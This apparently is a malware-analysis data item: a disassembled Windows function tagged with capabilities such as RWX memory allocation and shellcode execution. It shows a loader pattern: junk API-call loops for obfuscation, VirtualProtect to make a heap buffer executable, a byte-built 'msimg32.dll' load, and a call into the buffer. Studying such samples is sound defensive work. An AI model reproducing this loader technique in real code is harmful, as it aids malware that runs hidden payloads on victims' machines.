Function at 0x476f50
Capabilities:
Allocate or change rwx memory
Copy file
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get file attributes
Manipulate console buffer
Query environment variable
Read .ini file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x28f0
call fcn.00412600
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_CharToOemBuffA]
xor esi, esi
cmp esi, 0x2d1a6
jge 0x476f86
push 0
push 0
push 0
call edi
cmp dword [0x803100], 0x6fb
jne 0x476f9a
push 0
push 0
push 0
call ebx
cmp esi, 0x1e9af9f6
jle 0x476fb4
cmp ebp, 0xc10b30
je 0x476fb4
cmp dword [esp + 0x34], 0x90503cc
jne 0x476fbd
inc esi
cmp esi, 0x83362
jl 0x476f76
cmp dword [0x803100], 0xcf8
jne 0x476fef
push 0
push 0
call fcn.00407811
push 0
push 0
call fcn.00415bc4
add esp, 0x10
lea eax, [esp + 0x50]
push eax
call fcn.00405b70
push 0
call fcn.00407db0
mov edi, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
xor esi, esi
cmp esi, 0x408
jne 0x47700a
mov eax, 0x5d1
add dword [0x803100], eax
cmp dword [0x803100], 3
jne 0x477021
push 0
push 0
lea ecx, [esp + 0x108]
push ecx
call edi
inc esi
cmp esi, 0x1518d4
jl 0x476ff7
mov edx, dword [0x803100]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x483164], eax
mov eax, dword [0x803100]
xor esi, esi
test eax, eax
je 0x477091
mov ebx, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
cmp eax, 0xfe
jne 0x477068
push 0
lea eax, [esp + 0x104]
push eax
call ebx
call fcn.00476a30
mov eax, dword [0x803100]
cmp eax, 0x29
jne 0x47708c
push 0
push 0
lea ecx, [esp + 0x108]
push ecx
push 0
call edi
mov eax, dword [0x803100]
inc esi
cmp esi, eax
jb 0x477055
cmp eax, 0x70
jne 0x4771ab
lea edx, [esp + 0x1500]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0
push 0x40436c
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
lea eax, [esp + 0x1100]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push 0
lea ecx, [esp + 0x2504]
push ecx
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
push 0
call dword [sym.imp.KERNEL32.dll_CancelIo]
push 0
lea edx, [esp + 0x104]
push edx
push 0
call dword [sym.imp.KERNEL32.dll__hread]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoA]
lea eax, [esp + 0x14]
push eax
push 0
lea ecx, [esp + 0x30]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
push 0
push 0
call esi
push 0x404378
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push 0
push 0x404380
push 0x4043f0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push 0
lea edx, [esp + 0x1d04]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
push 0
push 0
lea eax, [esp + 0x908]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov eax, dword [0x803100]
mov edi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov ebp, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov ebx, dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
mov dword [esp + 0x14], 0x9682ab
jmp 0x4771d0
cmp eax, 3
jne 0x4771fe
push 0x4044b0
push 0
lea ecx, [esp + 0x908]
push ecx
push 0x4044dc
push 0x4044f0
push 0x40450c
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov eax, dword [0x803100]
cmp eax, 0xdf
jne 0x477294
push 0x404524
push 0
push 0
call edi
xor edx, edx
lea ecx, [esp + 0x20]
push ecx
push edx
push edx
lea eax, [esp + 0x10c]
push eax
push edx
mov dword [esp + 0x30], edx
call ebp
lea ecx, [esp + 0x24]
push ecx
push 0
push 0
push 0
call esi
push 0
push 0
push 0
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapCreate]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea edx, [esp + 0x18]
push edx
push 0
push 0
push 0
call esi
push 0x404544
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push 0
push 0x404570
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push 0x4045f0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov eax, dword [0x803100]
dec dword [esp + 0x14]
jne 0x4771d0
mov edi, dword [sym.imp.USER32.dll_CharUpperW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, 0x1ff896f4
nop
push 0
call edi
call ebx
dec esi
jne 0x4772b0
mov ecx, dword [0x803100]
mov edx, dword [0x483164]
lea eax, [esp + 0x18]
push eax
push 0x40
push ecx
push edx
mov byte [0x47e3d0], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00476d30
mov eax, 0
add dword [0x483164], eax
mov ebx, 0x6c
push 0x47e3d0
mov dword [0x47e3d6], 0x6c642e32
mov dword [0x47e3d0], 0x6d69736d
mov word [0x47e3da], bx
mov word [0x47e3d4], 0x3367
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov eax, 0x73
mov ecx, 0x6d
mov edx, 0x33
mov word [0x802112], ax
mov word [0x802116], cx
mov word [0x80211a], dx
xor ecx, ecx
cmp dword [0x803100], 0xc30
mov eax, ebx
mov edx, 0x64
mov word [0x802122], ax
mov word [0x802126], cx
mov word [0x802120], dx
mov eax, 0x67
mov ecx, 0x69
mov edx, 0x6d
mov word [0x802118], ax
mov word [0x802114], cx
mov word [0x802110], dx
mov word [0x802124], bx
mov dword [0x80211c], 0x2e0032
jne 0x477441
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
lea edx, [esp + 0x1100]
push edx
push 0x4045f8
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push esi
call dword [sym.imp.KERNEL32.dll_CreateActCtxA]
push esi
lea eax, [esp + 0x1c]
push eax
push esi
lea ecx, [esp + 0x10c]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
push 0x404608
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea edx, [esp + 0x904]
push edx
push 0x40461c
call esi
push 0
lea eax, [esp + 0x1d04]
push eax
push 0x404640
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
lea ecx, [esp + 0x50]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov edx, dword [esp + 0x18]
push 0
push 0
push 0
push edx
call dword [sym.imp.KERNEL32.dll_GetTapeParameters]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret